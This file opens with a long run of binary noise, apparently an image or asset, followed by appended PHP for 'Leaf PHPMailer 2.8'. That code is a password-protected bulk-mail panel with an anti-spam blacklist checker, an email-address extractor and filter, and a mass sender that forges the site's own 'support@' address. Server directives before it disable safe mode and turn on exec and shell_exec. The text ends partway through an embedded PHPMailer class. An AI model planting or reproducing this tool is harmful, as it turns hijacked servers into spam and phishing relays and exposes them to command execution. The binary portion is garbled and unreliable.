7إ:;%j1Aeeۥknhifqdgpzfjeoxqsawcr
ׇ U͠9F(doi?K4knhifqdgpzU{ձV]y֚
(jeoxqsawcr=tMJN
ILrc')eo+D'Gwke1!=j,Pԇcrjeoxqsawcr~;!-Qpn
h*q7$)K޳dEP~?-ݘW$8?ԑR$q~&F%4'%J)Q*2ٔRiѫjeoxqsawcrF_تK鿕:Jn{b瓪im %	m2Ljeoxqsawcr(xQqcjP`tgkiGJq*g+2ƖjeoxqsawcrjeoxqsawcrV1b(p+-g4:8
}QrB$=/jeoxqsawcrW^/Q޶fAhjeoxqsawcr 
1=7߬C?;|
OHkYN_BtW!?c:?!knhifqdgpzZ3.;knhifqdgpz"'%7|L
jeoxqsawcrPt;+%7bƦ@5
'Hx!ۍknhifqdgpzjׂ	P`VIY3B7 'NVB0%9EKt5gr
gȓID˿mc
/ss^/8BYuknhifqdgpzhD~fg]Gknhifqdgpz϶f
ϤKknhifqdgpz63Z
S=\$FXf`?*R	8g*2RƆ_X^;knhifqdgpz94	]m0Sp\eknhifqdgpz#
3&ݒb$?ۛ\7, ;4`.:'t1D|wp|Y0B^pSww nVoEf^%A〇Ff!2Mʭ@dZ6D,U}?Y88Z!kh@[3uKyF87x?jp޾4hѯf?yjeoxqsawcr8L+L}CcBszo`Oyx
# U:knhifqdgpzw8+!VH,6-'iQP ke|gӝ])w!E
|˾HgjeoxqsawcrۓF*!|kcԄn㶺RoAWv f˧enHoڻȣ ٗĳâ|FQ57Rn1XD.ڇ{Z4\u֓knhifqdgpz_'8N38tLtkvf84kknhifqdgpz$i$yWyknhifqdgpzoYϿd%R(#Dm8ygCt3
^U=tű ּ'(;7^1A{"OUH1 qlkUmz_Fc1
e
FzVhWʪx@|)dS͠2'p(#})bpF9
DW֛ti7ն߸z}yjeoxqsawcr^H**}j5qi_ :*Ƶjeoxqsawcr?knhifqdgpzRz,] 4K2Ĵ*
tpr7_|_!C$oO#" H;ooV=y{s9zDU5&q}-C[@pgnlҬ~ܭwP_A/FZTJx@=#jeoxqsawcrA͸#HImG gWY?P)_dح]s9]}GlT`q}]&=@_f=,zMM7amLuP]KQ]F#δi]|zv(o+mBBqx (mͩ@=;C[+߷;Y&IHzG8A?g-~
RQ"g0a3پ+L0(ﵭ9J/y6S=)~,`*NaשWj䣓XR;'-=	ȽJ97FZa|δ;0Rw$oPL; 5Y _jeoxqsawcrW/ ,2
M: kW/VႮV֧7X`%MИb'SP;h0Lդ䚿HorGK)mYȎDapLAL.{^֛  vdwN'@e&Ho"l:\j*A_3]an&sa-vN~-jZWk 9e:T|{wǆ_z,~#.yB;|%g?(.[=̬knhifqdgpz+1g\?Ibl+
}"+ Jc咿o(nl?v4JwEK\M R菋Bm@iknhifqdgpzap^*sGD8βc½`LqknhifqdgpzYLBjeoxqsawcr!M/~',vnsF拓36[ՁR&&\%Sё%3T41hb|G_H*o.)YU8V))ەoǰzƅ6twS`mHl+"⋑] U?.{m.H\|ʞ6Y{;
DIKb#B-:KfYZK~Q0knŏgh|BZLiE@V vHe
LNl+ri_J]

'}oXV{~	`knhifqdgpzL:3Cx+JƳ-֖DKPdb5FI
(ű}(EΉwO
/a"g!H/knhifqdgpz 3iFT~w UT`t4ԕ6*Dknhifqdgpzq^_Ҧ5Y%]$|Sk0&PnC
 177PݽnJ/ۿO\ @
t2}7s=h;m}vC"8jY}|*(Nknhifqdgpz+|w&d6%8

,p}s9{0Nڠ+3\{rɕE=rrM0@΀acjeoxqsawcrCܧ8~!B5	Q^,)}YQ;.!;L|Ǘ\ knJI:P}ٌ)kbfJf˶@]knhifqdgpzsx_~n#CާB~].un% 0LDA|#DhH庲eSooح/\##.睏-(I(Ye(ԒHVVvknhifqdgpzĞ	$%xXPK^$p :C28
~knhifqdgpz[0_X9鷧"X]b-B塞lNf(LYknhifqdgpz3t7'NV ]Q;@jeoxqsawcrg(f6
3W~o~WX}2W:u x%S65N.ܼL%\V6`wRP'  [CMQa6,-SDCknhifqdgpzԠ􊎀(,r~H;Aǎ~)XЇ6}knhifqdgpzFtRknhifqdgpz~4߽=HKIDM"7ba3UMfZMH
9/^[8 dOrΙZW9Ƙhw:Fknhifqdgpz"nxhb{$[7?
*4kL݅9=Icy0j+\jۦWur-@;V&m|i5X$A }~؎-}ѕ_A{7]w=0
8knhifqdgpz}yujeoxqsawcrU|igK-焕7VhC\tdn&=h5&knhifqdgpz..qg[knhifqdgpz}nhF;jeoxqsawcrz柟hdwTdX6BmYd 7ulGMEU%#LS챽k,`:ıVXOs+C-vВ4
sc*xTIRXM19"vϝH:S*Uh9QN=q:n/d_71*nW)
 PLϳF2~k_,(
;6߯F:C
f
?l^ģ6inMt0Q,%3|xUghF$8knhifqdgpz]9%EʨHt ikLZEzYH3&e4jeoxqsawcrtܱn6ïfNaPoYGDrxp+̞4XydKz;zS1T6dቼۄ\+,'"Eyd(?E;@sW'un6^ZjZ,F߷K0 і|_n@3;E}Jŷ~ oH&8E{+uOQvknhifqdgpzVQ;Ta~SGakuSsΕ__#}!FnYG#TL};V+҆Ϝ7y-@zZeƁfE]~Ӽ,jeoxqsawcr6Xŉև.
SVo~^poB	6D[Dz=ci0Wpȱڤa{Y+2Nxki\ectVD=%,NߝZbQh+jeoxqsawcr/fu+,jeoxqsawcrf;aw 5-M4uLyo19C4jv܄,[xaj
5N#d tXknhifqdgpzn9
7\y;	纅ޔ-7q\?knhifqdgpz؛s5QBL JZ\$d}Ou5LmB5m!56M6ƣm"k FQ~]G@ȯˌ\Vo|faЧ!|7 IYF
{+
xmV*e(;nlttknhifqdgpzMc0JXxYy,ؕbt!5#=]Vi؃IeAQǼp#(MMEA7ֶ;bGﾧ
F7"oG*,2+T)TLعa_!5.m{#1qUewMes-hjeoxqsawcr#R=C\CXMĂKY1mi`1TOp$3A]Roi`1TSmYH@lW?ijeoxqsawcr{X/X%ߙNCFd3?EKFas
5КB$ACB$p
K;HNҊb&ObUe!1H7eY}_3ݳc-!TLՏ+:?f(hBwu힐+V'z҃@A5k%h.{ʞ0^NH)]Sٺt{Sbe(z8$s\Lu!:2l:Jtf̓ȉ8v9vjeoxqsawcrOH9L`k![,|_o߱3!*Y#"ʚ9g#Tdn+/J*sⶖo]nr8{Jknhifqdgpz@*^^4Iى$T1\8N?$knhifqdgpzJbt:q'hy}ÔHa-9
;bjeoxqsawcr7٫fX,4jl{q+X
+"Opm
(+5D&Ipg-h@CSRyZ)?Wu'8p܂-baqXjֵĺjP
Ql]؈V&lI;R@iE[bʟ1knhifqdgpz'k i_%v@z@w3üt:)VrO[#_(O@Շ3]aМQ+li-=.ǅjeoxqsawcrknhifqdgpzZ*q˭աvRo~Ǣ׵QclL|jBqŻ7qz͕5&3OK_m[/۩/z$	y]ie_~RZz ġ}-[Dng-n3bB`fVSI,Jb3Py5y%hwӃ"Rr5ܬGN^DY
8\(+fqz6TmimGPknhifqdgpzL9Epc㯈2/(b1)s2٤ݼ,G`;jeoxqsawcrWb6\7sv0#Xms`V^-G\?3_Z2̰/G/p7G7Q:J/RuP9'97c3*2ߑLu)߱sW%hjeoxqsawcr G2x
\M
'|F,2ŎzUp^D9
lp~,vYYlFOe ~|`MbɟGD.OTL\Ri}8Y.j+Lُ2j?ֆeV
a`15?xVG|z7ĵnԆ"@J1g	jeoxqsawcrѐ$GyzQ':}9jeoxqsawcrq?3VK3_Ə&_iri$cGUY3~r?$&وijknhifqdgpzVN472@Iknhifqdgpz+2SF6"iyp"AX}8맼6sm-
 +B3Lؘ]knhifqdgpzlD('ÈAyH2Ѥ^;6\dB&zP5B^!CĹ)PUهUgbw`jKS
jmo2-hqj{Z1JC	WO~H:4|X'OeCIGԆM]M:/^ͪ'_96@0Կ&cK#aؿғ#"dK ~2m$`ȷA6w,6.V|Wu1;| J`b~Q^7j΢6VtD|l	Pi64l
׺"l^5zɀu@fvRA-+Ve' ┽(&f^-e/7wK-uUXC噪Fһߪ'@R/ͣ\eC.&\2gg)P8fKYnDMZ
Jknhifqdgpzı=6vQ.]Hk3wgadbq◽k1Rp`W5xWIvdY&2#
J{Sp}}nyzJfknhifqdgpzuGxY-I	9LYttʎQ?ŏPV0T{,5KE&dPYE?Kރ|yjeoxqsawcrNC#1!٭jz-aTm
sbmDy*bJAA%W1f/B:̈́S/a+N}..JxUݲ`
F+n2:knhifqdgpz

knhifqdgpzZb
H-e6_YKxktP"c,G#{3
)j/Se7y%%2gfH_񰟟̑r k#`D=fry?櫽1Mp-h:/mp(" F5w]H߲ߣgi(+݄0誛-[Kǘ騧UlFOA|0O&x@!&l:YrLGjhPGkq."ִ3rhCA+Z)NV0FjX3uwQu,jذdI)jB~\9Hn++sFjeoxqsawcr`¡Xf(#=Em_߬iQ?Cknhifqdgpz"9p+jeoxqsawcrC|uhP2|xޣPмe{ r(wCAi4翞qz }HĆ̀K~UF,/wBc?k*
ZU,54E"2b knhifqdgpzGޞ։ӏ93IЎknhifqdgpzI}mTHF]q',JLf
dr5mU
yU;knhifqdgpz7Ѽ`Ys2\zKBLP٭߂;`kC/OO͜`Ŵb8uxr;]5Y&--?ћlE.S8Vkl$%
}b"qn;QA~ȗiSf3;Vڏ%?
ٿ~bUe/{u~Jͽ7k"2f
f7pw^r]n9ϐrp!1mp_ue`#3!"݉x!0_)mw[2дSG*nl(#z~t"=FD!b=cT{}tVo=g`0g^cxԁTҲC+t!i
45̪knhifqdgpzMM	-`U	2AT|쏼֧Q$RC㫒* tl%laξ~/Ú1]Mtk;$j~$N-m8GV6!QH 	355@A24RŧY_;knhifqdgpzYѠKvYB,.$jdlRuBAȰ{ǹR?97n@**񄩴_24pc~Fh~z 
JK֌k(O~f\R%`849ᦢve/,H~ب"|FrܪJ֋knhifqdgpzy[[4NyTS\p?.F] DjDBXT4$&zX	ւK0&Wlfzj-1 {Э_jzz"ڛϑu
p&ˬhl1hi1ܢ8'}%۫XknhifqdgpzTk.ӃHv#4x`LjeoxqsawcrXZ{Vr{/1EyDMGZ`/m)#h$
G/J͡ҥ'ӡx)(~AJfDK4)xwTp*ȵ8AT7F7֘kD݆g^p:{xtknhifqdgpz{:ӨY[)M}^y"J$8ip@pw׫ѻjeoxqsawcr$nfP@ť_]0Z@N%Ho+{V?ăCVjeoxqsawcr&0r: #;uvt 0MO(;vܿ:&Zs0PuOZ_q
""";ug.V=ٟ鐾V$8L9g{jeoxqsawcr^/d~xz^2bF8z|tՠ=Xה䫵X-eZ҅%vqtW|[z H|IH@}H2hZknhifqdgpz(_fX3QctV=dsGոl
MOΗH;Ш,[#27&TpQiAXʬ_3袐l3ۋ4tb%cRMyA*E'-H}
+.B`UjknhifqdgpzR.%aTgYL3TF^@~W!灊w/PEde݂R7C2rVCK^!r\3/V٣LM^J 2B~jeoxqsawcru	knhifqdgpz-Pv!S	"&DxRPX
O1J$Ep_2tәkom=1\ŰHfi8݁Of!|hcU~NYg:Ww
k~ы:'9~P%HMBTR[ܷ&CcS+dO&6KuleM	#-Tw14K=: d0v;6H0Ğzrt!K0n~_XLB]op7RM[o2s-˝QQ:!]̚.֒jUjeoxqsawcrR(n;XvE
7kFiB_Po,DuqQ^ȇF'Rxf0x:'1jML(S#q4/ʝލY9ѳUFYk)QkV!^h{ȍt
D܌zSv!8A/e+K~]Hf$Fc9tfpA^;$~Q/FA:-J%ۃvQR4D:M`P+WBvFņ
&ƚ3x@ e}AjeoxqsawcrekXOjeoxqsawcreLDZtI@r{{;تCv$f~V cP#)MK(Pot䮃@Z=&{O4%jH6="shFqq{	
~x~6&$bPsA{g?BfÕ#=knhifqdgpzXtIi8XW}"b;8֊ Z+1ԖS1/DY!wK5!SpaP*_N%	tr	 nÂwab^ \J]uzuyҔgjeoxqsawcr	ŏw=d3y9_.0iЖh2&ga}[ދ_TknhifqdgpzfXYR-2?Cl`xl6"*Nt@禿'[N'-9dk{قI%xJ.iccb'!6eAEÇ
8}r(sh4VI Iv ?X*'#9
4n2"	Ռ28	#P~)	IknhifqdgpzMn$JWL3Fi!
knhifqdgpzv=S)p"IEjeoxqsawcr5P?(M4~_E'~#q:؛6ܝf^^,o@1WwN/oQ,*B?8YRךELw$XɽH.a~Zڟ:@ioX4Wɜ"@߽ИoW2~T㊠4n
w	
V$LB{3L(uNbh Uև$9Nk''U,߿Se16%ӃvVRo1k$U숄qL}YPz3P*ZjeoxqsawcrPyjHGL\LErO~_f*d/F(
l%= эacrMW;H2z--M_7.0|[knhifqdgpzʜ!bŬ
Sڠ=vDQC-_xh뼵,!RN	|bjD+~~;ܩN0@v'Cށ b8n6ۆf]l;˹'Nm `r
(4FEa36)}C/knhifqdgpzqV!|vڑTQͨ;/+Ce={^SZ!zf@+pc'0
V	2lLN..ʳIanZׯeHkN4M˼knhifqdgpz؏MsΛTlP( TPϷΦ(9-u43նR0/ѻwwz\y%pK0 //x,٬1n+uʭъ|ӷ5ڤRL4"
Q=jeoxqsawcrQW^;IgN(?cgAҶ76W+ge8D`4Ok훌E 7*$2x,d?Sn#Пeb{x%M[J?C&OVoFĥ`%2zbBTE"Ċxo_#+g5YI'3_o|j @ |vV3"J9Juwɗ@&pc%ǝJ35|{Qr1[]]}KeSQYyDH_5
OVC8SxYX'i¿OwkpNeՖIC[E}km,$}[)4JWigv}q[UdY٩-_ETd휗T495cĉTPvknhifqdgpz5˭%jeoxqsawcrjG3P	dI.`g
@B1 XЀf׺l晇rQ)LT*l溇Kz=_q-`5	j)[;qJx/ߪ̼#=1sEH4mˣjeoxqsawcrHY//߰Ϲ5U"sZciw
Sdj(bִ_h֯Ι.b"6/?wIͺ62)P2&2Y7ڼ1  knhifqdgpzn
T
;.8rfTڭEKlE;%'P~tXwG;xR,d4f.gڜUv;Ə
O"
gȧ1M/2o^nOdH]gT^jeoxqsawcrCU=^
.
~R$Nx1knhifqdgpzmt:MdUA,֩L[xHDm/m]ޜgЧɳy;{&Uq=*":0}:ڏA]mT6C6o.J)M"c#s7)
1Z_G"?BBF{knhifqdgpz&뵪R\w7Bz;O0s_ΧknhifqdgpzWck$
Y[G_B߼fzskʊ[\pпK+Q?MߐGBogL`'k#*~}d4j/\KKȥI{(f}jeoxqsawcrፅ!cASu!,DGHB}
_}'=7|Cknhifqdgpzyfw}?oPsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "Zig5TQWSM3A";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
